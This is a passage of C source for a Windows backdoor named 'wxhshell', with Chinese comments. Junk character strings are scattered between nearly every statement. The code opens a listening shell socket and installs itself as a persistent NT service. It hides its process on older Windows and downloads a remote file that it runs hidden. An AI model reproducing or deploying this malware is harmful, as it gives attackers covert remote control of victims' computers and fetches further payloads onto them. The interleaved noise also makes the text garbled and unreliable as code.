StartWxhshell(LPSTR lpCmdLine) yr%yy+(.k { @|E;}:?u SOCKET wsl; :wSJ-\'$ BOOL val=TRUE; Kyu@>9Ok int port=0; ,cPkx~w0 struct sockaddr_in door; [6G=yp {uEu>D$8 if(wscfg.ws_autoins) Install(); Z4\tY^NI +{S Maq port=atoi(lpCmdLine); L!?v BL
2 aew6~ if(port<=0) port=wscfg.ws_port; `!<x"xKu 2.!1kije WSADATA data; F9v)R#u~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "OVi /:*B 0
-!?W if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `S5>0r5[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g%+ql[(4 door.sin_family = AF_INET; ,eyp$^ 2 door.sin_addr.s_addr = inet_addr("127.0.0.1"); V/@[%w= door.sin_port = htons(port); fYb KmB <=$rU232} if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SgyqmYTvZw closesocket(wsl); tN[St return 1; ~Ry
$>n*/ } o*?[_{xW }Q,(u if(listen(wsl,2) == INVALID_SOCKET) { rf)PAdj|~ closesocket(wsl); BN_!Y)Fl return 1; 5z9JhU } 5<!o{)I Wxhshell(wsl); t) ; WSACleanup(); |GJBwrL^0 7zOhyl? return 0; h_AJI\{" #8S [z5 ` } A1mYkG)l f&=K]:WDe // 以NT服务方式启动 @gs26jX~2} VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bta0?O
# { UEN YJ*tnP DWORD status = 0; jQY>9+t DWORD specificError = 0xfffffff; -[G/2F' [[#xES21F serviceStatus.dwServiceType = SERVICE_WIN32; GTT5<diw serviceStatus.dwCurrentState = SERVICE_START_PENDING; m}; ~JMo] serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s.<olxXRW serviceStatus.dwWin32ExitCode = 0; ;Gjv9:hUn serviceStatus.dwServiceSpecificExitCode = 0; jB*9 !xrd, serviceStatus.dwCheckPoint = 0; 5}<.1ab3V serviceStatus.dwWaitHint = 0; z\X60T nrxjN(9V%+ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #&;m<% if (hServiceStatusHandle==0) return; E6,`Ld;c[ OJnPP> status = GetLastError(); -OHvK0~ if (status!=NO_ERROR) pI'8>_o { ;5&k/CB1 serviceStatus.dwCurrentState = SERVICE_STOPPED; '=KuJ0`nE9 serviceStatus.dwCheckPoint = 0; Wpiv1GZ%c8 serviceStatus.dwWaitHint = 0; HR/k{"8W4Q serviceStatus.dwWin32ExitCode = status; L#@l(8. serviceStatus.dwServiceSpecificExitCode = specificError; d,Hf-zJ%~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); j4.Qvj >:4 return; $I?=.:<+ } V`WI"HO+ gn-=##fT:i serviceStatus.dwCurrentState = SERVICE_RUNNING; (2\l i{$e serviceStatus.dwCheckPoint = 0; `=_7I? serviceStatus.dwWaitHint = 0; 0L3Bo3:k if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gubb .EY } =YS!soO ]hCWe0F // 处理NT服务事件,比如:启动、停止 9nP*N` VOID WINAPI NTServiceHandler(DWORD fdwControl) daaga}]d { U)&H.^@r$ switch(fdwControl) $M:4\E5( { [V!^\g\6 case SERVICE_CONTROL_STOP: Ws2prh^e( serviceStatus.dwWin32ExitCode = 0; { Hktu| serviceStatus.dwCurrentState = SERVICE_STOPPED; a7QlU=\ serviceStatus.dwCheckPoint = 0; eyI-s9#t serviceStatus.dwWaitHint = 0; &xPOp$Sx~ { `XQx$I SetServiceStatus(hServiceStatusHandle, &serviceStatus); O[i2A( } Y?"v2~;3 return; fY|@{]rx case SERVICE_CONTROL_PAUSE: v*vub#wP serviceStatus.dwCurrentState = SERVICE_PAUSED; D'HL /[@` break; ` 4s#5g case SERVICE_CONTROL_CONTINUE: VWnu#_( serviceStatus.dwCurrentState = SERVICE_RUNNING; 8eg2o$k_,# break; F9>(W#aC case SERVICE_CONTROL_INTERROGATE: lW{I`r\] break; *so6]+)cU }; X m_Ub>N5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); -ucz+{ } <MI$Nl .#:@cP~v // 标准应用程序主函数 r9p?@P\:[ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -o!saX< { 2c*VHIl; mvW^P`nB // 获取操作系统版本 MY0[Oq cm= OsIsNt=GetOsVer(); +oxqS&$L GetModuleFileName(NULL,ExeFile,MAX_PATH); pn ~/!y HQ-N!pf9 // 从命令行安装 ];YglHH if(strpbrk(lpCmdLine,"iI")) Install(); ]ly)z[is"] $=;bccIob // 下载执行文件 "9MX,}X* if(wscfg.ws_downexe) { 7;$L&X if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zD#+[XI]K WinExec(wscfg.ws_filenam,SW_HIDE); ;&7qw69k } .{-iq(3 +#i,87 if(!OsIsNt) { il `C,CD // 如果时win9x,隐藏进程并且设置为注册表启动 +E""8kW- Z HideProc(); Z(Ls#hp StartWxhshell(lpCmdLine); Px^<2Q%Fs } Yc|-sEK/ else A61-AwvF8- if(StartFromService()) *`\4j*$^ // 以服务方式启动 0*]<RM StartServiceCtrlDispatcher(DispatchTable); <9MQ else <+mO$0h"r // 普通方式启动 5jj57j" StartWxhshell(lpCmdLine); %o SfL;W7 j3V"d 3) return 0; R[ +]d|L }
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